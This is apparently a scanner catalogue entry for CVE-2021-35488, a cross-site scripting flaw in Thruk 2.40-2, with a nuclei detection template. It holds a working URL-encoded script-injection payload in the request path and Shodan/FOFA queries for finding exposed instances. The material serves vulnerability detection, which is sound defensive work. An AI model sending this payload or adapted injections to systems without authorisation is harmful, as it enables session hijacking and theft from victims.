Thruk 2.40-2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Thruk or apply the vendor-supplied patch to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2F…
Positive when: contains "'></script><script>alert(document.domain)</script>" and "Thruk Monitoring" AND status 401

Run it with nuclei: nuclei -id CVE-2021-35488 -u <target>

The full check

id: CVE-2021-35488

info:
  name: Thruk 2.40-2 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Thruk or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.gruppotim.it/redteam
    - https://www.thruk.org/changelog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35488
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-35488
    cwe-id: CWE-79
    epss-score: 0.0267
    epss-percentile: 0.85875
    cpe: cpe:2.3:a:thruk:thruk:2.40-2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thruk
    product: thruk
    shodan-query:
      - http.html:"Thruk"
      - http.html:"thruk"
    fofa-query:
      - body="thruk"
      - title=="thruk monitoring webinterface"
  tags: cve2021,cve,thruk,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "'></script><script>alert(document.domain)</script>"
          - "Thruk Monitoring"
        condition: and

      - type: status
        status:
          - 401

References

Use this check only on systems you are authorised to test. Where the data comes from